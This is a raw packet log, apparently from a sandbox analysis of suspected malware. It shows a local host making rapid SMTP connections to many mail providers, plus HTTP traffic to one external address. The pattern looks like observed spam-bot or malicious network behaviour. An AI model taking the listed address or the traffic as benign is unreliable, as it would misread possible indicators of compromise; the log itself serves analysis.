Aug 24, 2023 19:03:44.628002882 CEST	25	50225	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:44.629482985 CEST	25	50210	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.638475895 CEST	25	50230	209.222.82.255	192.168.2.8
Aug 24, 2023 19:03:44.667221069 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.667315960 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.671382904 CEST	50210	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.671397924 CEST	50230	25	192.168.2.8	209.222.82.255
Aug 24, 2023 19:03:44.671483040 CEST	50229	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.675928116 CEST	50234	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:44.680213928 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:44.680345058 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:44.693960905 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.693999052 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.693999052 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694017887 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694039106 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694039106 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694065094 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694065094 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694097996 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694097996 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.694808960 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.697138071 CEST	25	50189	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.697871923 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.697891951 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.697928905 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698414087 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698446989 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698472977 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698476076 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698477983 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698492050 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698499918 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.698508978 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.707441092 CEST	50235	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:44.712057114 CEST	50236	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:44.717945099 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.718157053 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.729413033 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.729717970 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.736001015 CEST	25	50228	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.736776114 CEST	25	50222	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.737092972 CEST	25	50228	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.737193108 CEST	50228	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.737852097 CEST	25	50222	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:44.737951040 CEST	50222	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:44.741190910 CEST	50237	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:44.745659113 CEST	25	50235	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:44.745786905 CEST	50235	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:44.760221958 CEST	50238	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:44.769314051 CEST	25	50186	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.770037889 CEST	25	50226	52.101.42.10	192.168.2.8
Aug 24, 2023 19:03:44.780591965 CEST	25	50232	104.47.73.138	192.168.2.8
Aug 24, 2023 19:03:44.788156986 CEST	25	50108	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:44.793730974 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:44.793819904 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:44.796351910 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.796395063 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.797205925 CEST	25	50230	209.222.82.255	192.168.2.8
Aug 24, 2023 19:03:44.810482979 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.815330029 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:44.815376997 CEST	50108	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:44.815388918 CEST	50232	25	192.168.2.8	104.47.73.138
Aug 24, 2023 19:03:44.815438986 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:44.815488100 CEST	50229	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.815547943 CEST	50191	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.818365097 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.831619978 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.848871946 CEST	25	50236	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:44.849046946 CEST	50236	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:44.849119902 CEST	25	50234	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:44.849184036 CEST	50234	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:44.857047081 CEST	25	50237	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:44.857234001 CEST	50237	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:44.860992908 CEST	25	50189	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.864013910 CEST	25	50238	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:44.864192963 CEST	50238	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:44.903944016 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.904068947 CEST	25	50123	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.904218912 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.904248953 CEST	50189	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.905420065 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.905607939 CEST	25	50128	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:44.905700922 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:44.926568985 CEST	25	50108	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:44.929141998 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:44.932698011 CEST	25	50235	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:44.940542936 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.940666914 CEST	25	50229	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:44.940808058 CEST	50229	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:44.946120024 CEST	25	50108	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:44.953267097 CEST	25	50210	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.969763994 CEST	25	50238	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:44.971196890 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.971339941 CEST	25	50144	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:44.971513987 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:44.974526882 CEST	25	50237	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:44.974684000 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:44.974689960 CEST	50235	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:44.983496904 CEST	25	50226	52.101.42.10	192.168.2.8
Aug 24, 2023 19:03:44.984929085 CEST	25	50226	52.101.42.10	192.168.2.8
Aug 24, 2023 19:03:44.985073090 CEST	50226	25	192.168.2.8	52.101.42.10
Aug 24, 2023 19:03:44.987072945 CEST	25	50232	104.47.73.138	192.168.2.8
Aug 24, 2023 19:03:44.990396023 CEST	50108	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:44.999509096 CEST	25	50224	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021541119 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021572113 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021591902 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021605015 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021624088 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021641970 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021651030 CEST	50237	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:45.021660089 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021680117 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021698952 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021719933 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.021720886 CEST	50238	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:45.022166967 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.029604912 CEST	25	50234	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:45.037159920 CEST	50232	25	192.168.2.8	104.47.73.138
Aug 24, 2023 19:03:45.046010017 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.052839041 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:45.061263084 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.084076881 CEST	50234	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:45.101042986 CEST	25	50210	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:45.135497093 CEST	25	50236	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:45.146542072 CEST	50210	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:45.149082899 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.177815914 CEST	50236	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:45.184443951 CEST	25	50227	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:45.184506893 CEST	25	50227	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:45.186655045 CEST	50227	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:45.204865932 CEST	25	50217	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.229341984 CEST	25	50211	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.271580935 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:45.272322893 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:45.315614939 CEST	25	50191	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.365371943 CEST	50191	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:45.399936914 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.400104046 CEST	25	50139	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:45.400197983 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:46.143620968 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:46.177881956 CEST	49934	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:46.271706104 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:46.281446934 CEST	25	50230	209.222.82.255	192.168.2.8
Aug 24, 2023 19:03:46.474884987 CEST	50230	25	192.168.2.8	209.222.82.255
Aug 24, 2023 19:03:46.592340946 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:46.662321091 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:46.771732092 CEST	49949	25	192.168.2.8	205.193.122.69
Aug 24, 2023 19:03:46.901456118 CEST	80	49776	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:46.901660919 CEST	49776	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:47.603492022 CEST	50237	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:47.603502989 CEST	50236	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:47.603502989 CEST	50234	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:47.603564024 CEST	50238	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:47.603617907 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:47.603646994 CEST	50108	25	192.168.2.8	184.106.54.1
Aug 24, 2023 19:03:47.603646040 CEST	50235	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:47.603694916 CEST	50232	25	192.168.2.8	104.47.73.138
Aug 24, 2023 19:03:47.603709936 CEST	50144	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:47.603768110 CEST	50224	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.603768110 CEST	50210	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:47.603909969 CEST	50217	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.603948116 CEST	50211	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.604011059 CEST	50139	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.604038954 CEST	50227	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:47.604047060 CEST	50230	25	192.168.2.8	209.222.82.255
Aug 24, 2023 19:03:47.604074955 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:47.604218006 CEST	50123	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.604262114 CEST	50128	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.604283094 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:47.605499983 CEST	50239	25	192.168.2.8	135.148.130.76
Aug 24, 2023 19:03:47.605650902 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605700016 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605700016 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605700016 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605736971 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605736971 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605736971 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605768919 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605768919 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605807066 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605807066 CEST	50145	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605844021 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605854988 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605865955 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605880022 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605910063 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605910063 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605923891 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605935097 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605952978 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605964899 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605993986 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.605993986 CEST	50147	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606031895 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606060028 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606060028 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606091022 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606091976 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606122017 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606141090 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606169939 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606190920 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606211901 CEST	50153	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606220007 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606261015 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606261015 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606261015 CEST	50158	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606301069 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606301069 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606301069 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606302977 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606303930 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606333971 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606333971 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606333971 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606333971 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606333971 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606353045 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606353998 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606353998 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606376886 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606376886 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606379986 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606408119 CEST	50160	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606412888 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606412888 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606450081 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606450081 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606465101 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.606513977 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606580973 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606652021 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606652021 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606695890 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606695890 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606697083 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606697083 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606697083 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.606719971 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606719971 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606719971 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606719971 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606720924 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606720924 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606720924 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606720924 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606748104 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.606748104 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.607196093 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.607196093 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.607196093 CEST	50186	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:47.637412071 CEST	50240	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:47.643177032 CEST	50241	25	192.168.2.8	65.182.102.90
Aug 24, 2023 19:03:47.653589010 CEST	25	50235	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:47.653636932 CEST	25	50235	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:47.653740883 CEST	50235	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:47.654747009 CEST	50242	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:47.695770025 CEST	25	50235	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:47.695893049 CEST	25	50235	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:47.695916891 CEST	50235	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:47.695971012 CEST	50235	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:47.712970018 CEST	50243	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:47.718996048 CEST	25	50238	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:47.719584942 CEST	25	50239	135.148.130.76	192.168.2.8
Aug 24, 2023 19:03:47.719696045 CEST	50239	25	192.168.2.8	135.148.130.76
Aug 24, 2023 19:03:47.719939947 CEST	25	50238	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:47.720055103 CEST	50238	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:47.726535082 CEST	25	50108	184.106.54.1	192.168.2.8
Aug 24, 2023 19:03:47.731614113 CEST	25	50237	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:47.731838942 CEST	50237	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:47.733997107 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:47.734015942 CEST	25	50235	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:47.734716892 CEST	50244	25	192.168.2.8	104.47.23.74
Aug 24, 2023 19:03:47.741205931 CEST	25	50230	209.222.82.255	192.168.2.8
Aug 24, 2023 19:03:47.741549015 CEST	25	50230	209.222.82.255	192.168.2.8
Aug 24, 2023 19:03:47.741713047 CEST	50230	25	192.168.2.8	209.222.82.255
Aug 24, 2023 19:03:47.749695063 CEST	50245	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:47.751107931 CEST	25	50240	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:47.751249075 CEST	50240	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:47.752150059 CEST	25	50236	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:47.752393007 CEST	25	50236	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:47.752552032 CEST	50236	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:47.757570982 CEST	25	50208	8.19.118.174	192.168.2.8
Aug 24, 2023 19:03:47.757843971 CEST	25	50231	198.58.121.58	192.168.2.8
Aug 24, 2023 19:03:47.757978916 CEST	50231	25	192.168.2.8	198.58.121.58
Aug 24, 2023 19:03:47.759011984 CEST	25	50208	8.19.118.174	192.168.2.8
Aug 24, 2023 19:03:47.759139061 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.759171009 CEST	50208	25	192.168.2.8	8.19.118.174
Aug 24, 2023 19:03:47.769598961 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:47.769639015 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:47.769792080 CEST	50220	25	192.168.2.8	67.231.159.2
Aug 24, 2023 19:03:47.771812916 CEST	25	50242	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:47.771974087 CEST	50242	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:47.787072897 CEST	25	50232	104.47.73.138	192.168.2.8
Aug 24, 2023 19:03:47.787364960 CEST	50232	25	192.168.2.8	104.47.73.138
Aug 24, 2023 19:03:47.788324118 CEST	25	50234	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:47.788381100 CEST	25	50234	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:47.788537025 CEST	50234	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:47.790421963 CEST	25	50227	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:47.796798944 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:47.796930075 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:47.797897100 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:47.798028946 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:47.814238071 CEST	25	50241	65.182.102.90	192.168.2.8
Aug 24, 2023 19:03:47.814443111 CEST	50241	25	192.168.2.8	65.182.102.90
Aug 24, 2023 19:03:47.823698044 CEST	25	50238	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:47.825027943 CEST	25	50238	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:47.825222969 CEST	50238	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:47.826253891 CEST	25	50238	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:47.826354027 CEST	25	50243	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:47.826366901 CEST	50238	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:47.826530933 CEST	50243	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:47.848160982 CEST	25	50237	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:47.848438978 CEST	50237	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:47.856503010 CEST	25	50245	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:47.856761932 CEST	50245	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:47.856882095 CEST	50246	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:47.880127907 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:47.880168915 CEST	25	50233	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:47.880337954 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:47.880399942 CEST	50233	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:47.886389971 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:47.886425018 CEST	25	50220	67.231.159.2	192.168.2.8
Aug 24, 2023 19:03:47.886445999 CEST	25	50242	17.57.156.30	192.168.2.8
